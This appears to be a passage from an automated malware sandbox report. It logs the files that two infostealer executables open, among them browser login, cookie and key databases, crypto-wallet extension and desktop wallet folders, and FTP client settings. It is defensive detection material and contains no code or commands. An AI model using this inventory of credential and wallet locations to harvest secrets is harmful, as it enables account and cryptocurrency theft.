Source: 4bcefcec83.exe, 00000014.00000003.2360560512.000000000170B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore
Source: 4bcefcec83.exe, 00000014.00000003.2247542901.0000000001714000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Livebi`

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\formhistory.sqlite
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cert9.db
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\logins.json
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Directory queried: C:\Users\user\Documents\TQDFJHPUIU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Directory queried: C:\Users\user\Documents\TQDFJHPUIU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ	Jump to behavior
